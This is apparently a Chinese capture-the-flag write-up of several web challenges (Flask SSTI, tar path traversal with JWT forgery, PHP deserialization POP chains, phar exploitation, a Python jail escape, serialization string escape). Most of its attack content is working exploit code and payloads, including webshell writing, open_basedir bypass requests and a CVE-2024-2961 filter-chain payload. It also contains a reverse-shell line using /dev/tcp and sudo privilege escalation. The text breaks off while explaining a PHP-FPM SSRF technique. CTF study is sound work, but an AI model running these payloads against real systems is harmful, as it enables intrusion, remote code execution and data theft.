easy_flask 无过滤,秒了
1 {{lipsum.__globals__.os.popen("cat flag").read()}}
file_copy 输入/flag返回值如下:
有内容。然后想了一下后端的逻辑,猜测这里是调用的copy()函数,然后随便输入,得到如下报错结果:
copy()函数是一个文件操作函数,可以知道这里可以打oracle侧信道,直接跑脚本即可:
1 python3 filters_chain_oracle_exploit.py --target http://eci-2ze470339l9n5s7flrul.cloudeci1.ichunqiu.com/ --parameter path --file /flag --time_based_attack True --match "Allowed memory size"
Gotar 给了go的源码,其实无非就俩点,一个是tar的文件上传路径穿越,一个是jwt的伪造越权。
读一下jwt处理的源码,不难发现只要拿到了环境变量的jwtKey就能为所欲为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 type Claims struct { UserID uint IsAdmin bool jwt.StandardClaims } func GenerateJWT (userID uint , isAdmin bool , jwtKey []byte ) (string , error ) { expirationTime := time.Now().Add(24 * time.Hour) claims := &Claims{ UserID: userID, IsAdmin: isAdmin, StandardClaims: jwt.StandardClaims{ ExpiresAt: expirationTime.Unix(), }, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString(jwtKey) }
1 2 3 4 5 6 7 8 9 10 var JWTKey []byte func LoadEnv () { Env, err := godotenv.Read() if err != nil { log.Fatalf("Error loading .env file" ) } JWTKey = []byte (Env["JWT_SECRET" ]) log.Print(JWTKey) }
但是显然这里是不能R的。很自然我们就会想到能不能env的jwtKey给覆盖掉成为我们自己的可控key,然后自己造一个admin的cookie不就完事了。
那么怎么覆盖呢?可以发现tar-utils依赖的outputPath函数存在目录遍历漏洞:
首先,函数将tarPath按照斜杠(/)分割成多个元素,然后移除第一个元素(通常是根目录)接着将这些元素重新组合成一个路径字符串,最后将这个路径基于Extractor的Path属性进行重定位。
可以发现extractDir、extractSymlink、extractFile都调用了这个outputPath函数。
不难发现源码中controllers/file.go使用了extractTar调用了该依赖库实现解压tar包,因此存在目录遍历漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 func extractTar (tarPath string , userID uint ) (string , error ) { userDir := filepath.Join(extractedDir, fmt.Sprintf("%d" , userID)) err := os.MkdirAll(userDir, os.ModePerm) if err != nil { return "" , err } tarFile, err := os.Open(tarPath) if err != nil { return "" , err } defer tarFile.Close() extractor := &tar.Extractor{ Path: userDir, } err = extractor.Extract(tarFile) if err != nil { return "" , err } return userDir, nil }
官方wp说题目巧合的在LoginHandler处加载了环境遍历(默认读取.env),因此可以实现覆盖.env文件修改jwt密钥
所以只需在一个文件夹里创建.env文件,里面写
然后创建一个tar,这个tar设定路径为../../../../.env就可以路径穿越。 写成命令行形式就是:
1 2 3 mkdir exp echo "JWT_SECRET=hack" > exp/.env tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/.env
这也是UNIX的tar本身的漏洞之一,而且python的tar方法也用的这种方式,所以可以写成这种代码形式:
1 2 3 4 5 6 7 8 os.makedirs('exp' , exist_ok=True ) with open ('exp/.env' , 'w' ) as f: f.write("JWT_SECRET=hack" ) with tarfile.open ('hack.tar' , 'w' ) as tar: tar.add('exp/.env' , arcname='exp/../../../.env' )
接下来就是普通的注册登录上传造cookie再CSRF的过程,官方用了个一把梭脚本:
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import jwtimport datetimeimport osimport tarfileimport sysimport requestsimport randomimport stringdef generate_random_string (length ): letters = string.ascii_letters + string.digits return '' .join(random.choice(letters) for i in range (length)) def send_request (session, method, path, data=None , files=None , headers=None ): url = f"http://{session.url} {path} " response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http' : 'http://127.0.0.1:8083' }) return response def generate_jwt (user_id, is_admin, jwt_key ): expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24 ) claims = { 'UserID' : user_id, 'IsAdmin' : is_admin, 'exp' : expiration_time } token = jwt.encode(claims, jwt_key, algorithm='HS256' ) return token def create_malicious_tar (): os.makedirs('exp' , exist_ok=True ) with open ('exp/.env' , 'w' ) as f: f.write("JWT_SECRET=hack" ) with tarfile.open ('hack.tar' , 'w' ) as tar: tar.add('exp/.env' , arcname='exp/../../../.env' ) def exp (url, token ): payload = "echo `cat /flag` > /var/www/html/public/flag.txt" session = requests.Session() session.url = url random_string = generate_random_string(4 ) user_data = { "username" : random_string, "password" : random_string } response1 = send_request(session, 'POST' , '/register' , data=user_data) if response1.status_code != 200 : return "Failed to register" response2 = send_request(session, 'POST' , '/login' , data=user_data) if response2.status_code != 200 : return "Failed to login" with open ('hack.tar' , 'rb' ) as f: files = {'file' : f} response3 = send_request(session, 'POST' , '/upload' , files=files) if response3.status_code != 200 : return "Failed to upload malicious tar file" print ("Malicious tar file uploaded successfully" ) send_request(session, 'GET' , '/login' ) headers = { 'Cookie' : f'token={token} ' } response4 = send_request(session, 'GET' , '/download/1' , headers=headers) return response4.text if __name__ == "__main__" : create_malicious_tar() print ("Malicious tar file created: hack.tar" ) jwt_key = "hack" user_id = 1 is_admin = True token = generate_jwt(user_id, is_admin, jwt_key) print ("Generated JWT:" , token) URL = sys.argv[1 ] flag = exp(URL, token) print (flag)
python exp.py 127.0.0.1:80
非预期
可以直接通过软链接读flag
1 2 ln -sf /flag flag tar cf flag.tar flag
尝试软链接到 .env,但是解压就报错Failed to extract file: symlink /app/.env assets/extracted/2: file exists了
发现./assets/extracted是解压目录 这里又会把userID也就是2加入到userDir中
最后看到官方题解里有说outputPath函数将tarPath按照斜杠(/)分割成多个元素,然后移除第一个元素(通常是根目录)接着将这些元素重新组合成一个路径字符串,最后将这个路径基于Extractor的Path属性进行重定位。感觉可能是因为这个,所以flag软链接前面必须套一层目录?
1 2 ln -sf /flag 3/flag tar cf flag.tar 3/flag
有一个小坑点注意一下。tar从一定版本后会开始自动优化参数中的../,因此,如果你的payload为ln -sf ../../env 2/flag 最好在前面加一个-P
将上述文件提交,访问/assets/extracted/2/flag即可
easy_ser 一道php反序列化的题,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 听说pop挺好玩的 <?php function PassWAF1 ($data ) { $BlackList = array ("eval" , "system" , "popen" , "exec" , "assert" , "phpinfo" , "shell_exec" , "pcntl_exec" , "passthru" , "popen" , "putenv" ); foreach ($BlackList as $value ) { if (preg_match ("/" . $value . "/im" , $data )) { return true ; } } return false ; } function PassWAF2 ($str ) { $output = '' ; $count = 0 ; foreach (str_split ($str , 16 ) as $v ) { $hex_string = implode (' ' , str_split (bin2hex ($v ), 4 )); $ascii_string = '' ; foreach (str_split ($v ) as $c ) { $ascii_string .= (($c < ' ' || $c > '~' ) ? '.' : $c ); } $output .= sprintf ("%08x: %-40s %-16s\n" , $count , $hex_string , $ascii_string ); $count += 16 ; } return $output ; } function PassWAF3 ($data ) { $BlackList = array ("\.\." , "\/" ); foreach ($BlackList as $value ) { if (preg_match ("/" . $value . "/im" , $data )) { return true ; } } return false ; } function Base64Decode ($s ) { $decodeStr = base64_decode ($s ); if (is_bool ($decodeStr )) { echo "gg" ; exit (-1 ); } return $decodeStr ; } class STU { public $stu ; public function __construct ($stu ) { $this ->stu = $stu ; } public function __invoke ( ) { echo $this ->stu; } } class SDU { public $Dazhuan ; public function __wakeup ( ) { $Dazhuan = $this ->Dazhuan; $Dazhuan (); } } class CTF { public $hackman ; public $filename ; public function __toString ( ) { $data = Base64Decode ($this ->hackman); $filename = $this ->filename; if (PassWAF1 ($data )) { echo "so dirty" ; return ; } if (PassWAF3 ($filename )) { echo "just so so?" ; return ; } file_put_contents ($filename , PassWAF2 ($data )); echo "hack?" ; return "really!" ; } public function __destruct ( ) { echo "bye" ; } } $give = $_POST ['data' ];if (isset ($_POST ['data' ])) { unserialize ($give ); } else { echo "<center>听说pop挺好玩的</center>" ; highlight_file (__FILE__ ); }
其中几个点:
1 file_put_contents ($filename , PassWAF2 ($data ));
可以知道是写文件,这里就可以写马。 写马的话就需要注意定义的函数以及调用,比较需要关注的就如下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function PassWAF2 ($str ) { $output = '' ; $count = 0 ; foreach (str_split ($str , 16 ) as $v ) { $hex_string = implode (' ' , str_split (bin2hex ($v ), 4 )); $ascii_string = '' ; foreach (str_split ($v ) as $c ) { $ascii_string .= (($c < ' ' || $c > '~' ) ? '.' : $c ); } $output .= sprintf ("%08x: %-40s %-16s\n" , $count , $hex_string , $ascii_string ); $count += 16 ; } return $output ; }
这里会将我输入的内容编写成一个类似16进制格式的那种内容,然后才会写入文件,如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php function PassWAF2 ($str ) { $output = '' ; $count = 0 ; foreach (str_split ($str , 16 ) as $v ) { $hex_string = implode (' ' , str_split (bin2hex ($v ), 4 )); $ascii_string = '' ; foreach (str_split ($v ) as $c ) { $ascii_string .= (($c < ' ' || $c > '~' ) ? '.' : $c ); } $output .= sprintf ("%08x: %-40s %-16s\n" , $count , $hex_string , $ascii_string ); $count += 16 ; } return $output ; } $a ="\<\?php \$_GET[0](\$_POST[1])\?\>" ;$filename = "123456.php" ;file_put_contents ($filename , PassWAF2 ($a ));
运行后123456.php文件内容为:
1 2 00000000: 5c3c 5c3f 7068 7020 245f 4745 545b 305d \<\?php $_GET[0] 00000010: 2824 5f50 4f53 545b 315d 295c 3f5c 3e ($_POST[1])\?\>
可以看到是将代码分割开了,很容易想到,缩短payload长度,让其在第一行就会被全部解析,想到了一句话木马最短版:
经测试,可以成功
所以现在直接写链子即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 听说pop挺好玩的 <?php class STU { public $stu ; public function __invoke ( ) { echo $this ->stu; } } class SDU { public $Dazhuan ; public function __wakeup ( ) { $Dazhuan = $this ->Dazhuan; $Dazhuan (); } } class CTF { public $hackman ; public $filename ; public function __toString ( ) { $data = Base64Decode ($this ->hackman); $filename = $this ->filename; if (PassWAF1 ($data )) { echo "so dirty" ; return ; } if (PassWAF3 ($filename )) { echo "just so so?" ; return ; } file_put_contents ($filename , PassWAF2 ($data )); echo "hack?" ; return "really!" ; } public function __destruct ( ) { echo "bye" ; } } $a = new SDU ();$a ->Dazhuan=new STU ();$a ->Dazhuan->stu=new CTF ();$a ->Dazhuan->stu->filename="shell.php" ;$a ->Dazhuan->stu->hackman='PD89YCRfR0VUWzBdYDs/Pg==' ;echo serialize ($a );
1 2 得到链子: O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:24:"PD89YCRfR0VUWzBdYDs/Pg==";s:8:"filename";s:9:"shell.php";}}}
传入数据后访问shell.php文件,进行命令执行读flag即可
ezphp file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("content-type:text/html;charset=utf-8" );include 'function.php' ;include 'class.php' ;$file = $_GET ["file" ] ? $_GET ['file' ] : "" ;if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show ();if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
注意到file.php没有过滤/flag,可以直接读取。根本不需要phar反序列化 /file.php?file=/flag 获得flag
预期解
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <?php class Chunqiu { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
链子:Chunqiu::__destruct -> Show::__toString -> Test::__get -> Test::get -> Test::file_get
生成phar的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php class Chunqiu { public $test ; public $str ; public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } $a =new Chunqiu ();$a ->str=new Show ();$a ->str->str['str' ]=new Test ();$a ->str->str['str' ]->params["source" ]="/flag" ;$phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER();<!-- ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
源码中对上传的文件有如下处理
1 2 3 4 5 6 $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ;if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename );
可以知道是将文件名重写并指定了后缀,这里是将上传的文件名(比如shell.gif)和访问ip(你的外网IP)拼接然后md5加密生成的文件名。
生成的phar然后改成gif后缀上传即可。然后拿到文件名,使用phar协议触发即可。
easy_code 核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php header ('Content-Type: text/html; charset=utf-8' );highlight_file (__FILE__ );$allowedFiles = ['read.php' , 'index.php' ];$ctfer = $_GET ['ctfer' ]?? null ;if ($ctfer === null ) { die ("error 0!" ); } if (!is_numeric ($ctfer )) { die ("error 1!" ); } if ($ctfer != 667 ) { die ("error 2!" ); } if (strpos (strval ($ctfer ), '7' )!== false ) { die ("error 3!" ); } $file = $_GET ["file" ];if ($_COOKIE ['pass' ] == "admin" ) { if (isset ($file )) { if (preg_match ("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i" , $file )) { echo "prohibited prohibited!!!!" ; } else { echo "试试read.php" ; include ($file ); } } } ?>
要求 ctfer 的值为667,strval取字符串,strpos返回出现的位置,即 strval 后不能出现7
那么只有利用溢出才能绕过第三个判断,我们知道intval是存在溢出的,而 strval 的作用和 intval 类似
测试发现到 666.99999999999999 和 667 相等,通过第二个判断了
而 666.99999999999999 在 strval 后就是 667
打远程的时候发现这样就绕过了,接下来就是读文件
找个能用的过滤器秒了
1 2 3 4 5 6 7 8 php://filter/convert.iconv.CP9066.CSUCS4/resource=read.php php://filter/convert.iconv.utf8.utf16/resource=read.php php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=read.php 这个需要解码 <?php echo iconv('UCS-4BE', 'UCS-4LE', "hp?<f$ p galZ\" =ZhxmOkt3YlFTZzITNykTZwI2YkJTN2E2NyYDNmNGN4MGYjdj\"=0X"); ?>
python jail 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import base64from random import randintwith open ("flag" , "r" ) as f: flag = f.read() BOX = [randint(1 , 9999 ) for _ in range (624 )] print ("Give me your solve:" )user_input = input ().strip() try : user_code = base64.b64decode(user_input).decode() except Exception: print ("Invalid base64 input" ) exit(1 ) assert len (user_code) <= 121 , "Input exceeds maximum allowed length" exec_globals = {"__builtins__" : None } exec_locals = {} try : exec (user_code, exec_globals, exec_locals) except Exception: print ("Error" ) exit(1 ) s = exec_locals.get("s" , None ) if s == BOX: print (flag) else : print ("Incorrect" )
exp
1 2 3 4 def b(): def a():yield g.gi_frame.f_back.f_back.f_back.f_back g=a();g=[x for x in g][0];return g.f_globals['BOX'] s=b()
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64""" def b(): def a():yield g.gi_frame.f_back.f_back.f_back.f_back g=a();g=[x for x in g][0];return g.f_globals['BOX'] s=b() """ m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()" p = base64.b64encode(m.encode()) print (p)print (len (m))
基于栈帧沙箱逃逸,通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。
b0okshelf update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once 'data.php' ;$id = $_GET ['id' ];$regexResult = preg_match ('/[^A-Za-z0-9_]/' , $id );if ($regexResult === false || $regexResult === 1 ) { die ('Illegal character detected' ); } if (strlen ($id ) > 100 ) { die ('Is this your id?' ); } if (!file_exists ('books/' . $id . '.info' )) { die ('Book not found' ); } $content = file_get_contents ('books/' . $id . '.info' );$book = unserialize ($content );if (!($book instanceof Book) || !($book ->reader instanceof Reader)) { throw new Exception ('Invalid data' ); } if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $book ->title = $_POST ['title' ]; $book ->author = $_POST ['author' ]; $book ->summary = $_POST ['summary' ]; file_put_contents ('books/' . $book ->id . '.info' , waf (serialize ($book ))); $book ->reader->setContent ($_POST ['content' ]); } function waf ($data ) { return str_replace ("'" , "\\'" , $data ); } include_once 'common/header.php' ;?>
这里的book使用serialize来存储的,虽然waf会替换’为\‘,这里其实就导致了php反序列化中的字符串逃逸,通过这种逃逸我们可以插入想要的payload。
这里显然我们可以逃逸掉 Reader 中的路径, 从而使其能够变成任意路径:
在 update.php 中有 file_put_contents 函数。file_put_contents 可以将数据写入文件,我们可以利用它来写入一句话木马。
字符串逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php class Book { public $id ; public $title ; public $author ; public $summary ; public $reader ; } class Reader { public function __construct ($location ) { $this ->location = $location ; } public function getLocation ( ) { return $this ->location; } private $location ; public function getContent ( ) { return file_get_contents ($this ->location); } public function setContent ($content ) { file_put_contents ($this ->location, $content ); } } $book = new Book ();$book ->id = 'kengwang_aura' ;$book ->title = 'test' ;$book ->author = 'test' ;$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"' ;$partB = 'Reader' ;$partC = 'location";s:14:"books/shel.php";}};' ;$payload = $partA . "\x00" . $partB . "\x00" . $partC ;$length = strlen ($partA ) + strlen ($partB ) + strlen ($partC ) + 2 ;echo "[+] Payload length: " . $length . "\n" ;$book ->summary = str_repeat ('\'' , $length ) . $payload ;$book ->reader = new Reader ('books/' . 'abc' );function waf ($data ) { return str_replace ("'" , "\\'" , $data ); } echo "[+] Summary: " ;echo urlencode ($book ->summary);$res = waf (serialize ($book ));echo "\n[+] Serialized payload: " ;echo base64_encode ($res );echo "\n" ;$newBook = unserialize ($res );echo "[+] Location: " ;echo $newBook ->reader->getLocation ();
可以看到这里调试出的location已经成为了books/shel.php,可以任意路径写入了。
注意这里的 private 其实我们可以不用封装到 \x00 里面的 (7.2+), 为了保险还是这么写了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /add.php HTTP/2 Host: eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1749877414 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 411 Origin: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80 Referer: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80/add.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers title=test&author=test&summary=%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%22%3Bs%3A6%3A%22reader%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A16%3A%22%00Reader%00location%22%3Bs%3A14%3A%22books%2Fshel.php%22%3B%7D%7D%3B
我们访问 update.php 将内容content改为
写入木马后,通过蚁剑连接发现存在 disable_functions,这是 PHP 的一个配置选项,用于禁用某些函数。通过 phpinfo,我们还发现存在 open_basedir 限制,open_basedir 用于限制 PHP 只能访问指定目录。
我们可以通过 mkdir 和 chdir 函数来绕过 open_basedir 限制。mkdir 创建目录,chdir 改变当前目录,通过这些操作,我们可以访问受限制的目录。详见 https://xz.aliyun.com/t/10070#toc-12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /books/shel.php HTTP/2 Host: eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1749877414 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 200 Origin: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80 Referer: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80/books/shel.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Priority: u=0, i Te: trailers 0=mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=file_get_contents('/etc/passwd');var_dump($a);
对于 disable_functions,蚁剑的一键绕过 disabled_function 已全部无法使用,需要手动绕过。我们使用 CN-EXT (CVE-2024-2961) 来绕过限制并执行远程代码执行(RCE),最终反弹 shell。
首先用跟上面同样的方式写一个新的文件
1 <?php @mkdir ('img' );chdir ('img' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );$data =file_get_contents ($_POST ['file' ]);echo "File contents: $data " ;
然后打cnext
先获取/proc/self/maps和/lib/x86_64-linux-gnu/libc-2.28.so
1 2 file=php://filter/read=convert.base64-encode/resource=/proc/self/maps file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.28.so
本地生成payload,这里使用curl反弹shell
首先在vps写一个bash.html
1 bash -i >& /dev/tcp/ip/port 0>&1
反弹shell命令如下
生成payload
1 php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMO%2bJmQhbwrX3IpZMpsq3ixYmvY29vrNpg3essu%2bqGNXnp2w/aazrVgllYD/RdJ/9Uf0ik2lLK49sWSPKgBc0aOqcFgzfGbu0L3Lv0bjsmdEq3Cz4dSQInS46EpoXvjI5LH/j9ahnYieZGPHrmHFkk0zh1Nuhr2ZcjX6zddpO100OBKzQ%2bp7avfrK6iuGq7e%2bZ7h/fG2d/Y8PHzNvv770/v/L1Pjrf1%2b%2b3f/LfXLP173x%2b873S0z8Y4PfPIYP9d8jFk9vz51iGL39hvyrfXe//57%2b9/L02tjvy7fvvWYX9/nP57r/X75/zq/893T%2b/P4n0Wz4A63%2b6b%2b3txr%2bQIjSM/uu3Zj/7vfj1/9%2bXDgefDe/dL/%2b779L5W32vek/f/3qdbu9tffen79%2b8Fa5/vmNdt/Xnthf/2Of/VPZvPv2Nec/%2b/9%2be7p0%2b%2b269e%2bPv/590Pn87dv/ZtRviunf%2bNV7pj/QxJ33n7/8qh9%2b3O1FW%2bKefo%2b6ewS8umyjTnTM0jhgfK4NTPt2PH%2b/2yZCoSNxTtnoWs%2b1qpxANUHP/4yjikcVjyqms%2bJl269IGe99Z3TvW%2bUUVS%2bV0wSybEKV91rDy6/1HufOd49c5LKJh4G6xkd5332kZVq35HjdieO9nxTr9Oz//vs5PUjpUBEBnTOuBW3f4dUr/3KjfNYUfjHBacz41R/YMm3X0dCsPx79fwMW12zo%2bCEMAA==
发包,成功接收到shell
反弹 shell 后,为了提升交互性以便使用 sudo 提权,我们通过 sudo -l 发现 date 命令可以无密码执行。 最后,通过 sudo date -f /flag 读取 flag。
LamentXu提出可以使用php-fpm被动模式RCE来反弹shell,学习一下
首先讲讲原理。在这题里file_get_contents和file_put_contents都是没有被ban的。因此,我们可以用这个来发动攻击。hmmmm,问题在于没有回显,而且需要提权RCE,所以oracle什么的就别想了,一定要弹shell。
1 2 3 <?php $contents = file_get_contents ($_GET ['1' ]);file_put_contents ($_GET ['1' ], $contents );
这是一份漏洞代码,我知道你有八百种办法攻击他。别急,在万千种伪协议里,你有没有想过,或者哪怕看ftp://一眼呢
如果我们使用ftp://evil/1.txt,那么这个服务器就会从evil这个服务器上下载1.txt(file_get_contents)并且,将1.txt传回去(file_put_contents)
可不可以用这个来攻击php的中间件fpm呢?
可以先去看看https://github.com/gjzxyb/MiscSecNotes-CTF/blob/master/%E6%BC%8F%E6%B4%9E%E7%A7%91%E6%99%AE/PHP-FPM%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
当我们在file_get_contents里输入ftp协议的时候,往里面放一个fastcgi的payload,这个payload会导致fpm加载一个恶意so文件。服务器就会拿着这个payload与我们开一个ftp链接,我们当然不是要去给它传文件,甚至不需要启动一个FTP服务器,直接写一个socket脚本,不用管它的请求啊什么的(已读乱回),直接告诉他,OK你连上一个FTP服务器了,现在要你输密码(发来不知道什么鬼)OK你密码正确,你过关,然后告诉它,切换到binary mode,你未授权了,我们进被动模式聊吧,给你发个链接点一下,我们借一步说话。(发送127.0.0.1:fpm的端口,这就是在SSRF了!)随后服务器就会傻傻地把我们的payload传给fpm。于是fpm就去加载一个恶意的so,这个so可以是我们提前上传并设置好的反弹shell的so,然后,我们只需要开启监听就好啦
bingo!是不是很简单?我们来试试吧!
首先先看nginx.conf,确认fpm端口
fpm开着的,端口为9000号,index是index.php。靶机上线。
先写一个伪造的ftp服务器,已读乱回,反正我不管你怎么样我就发信息就完了
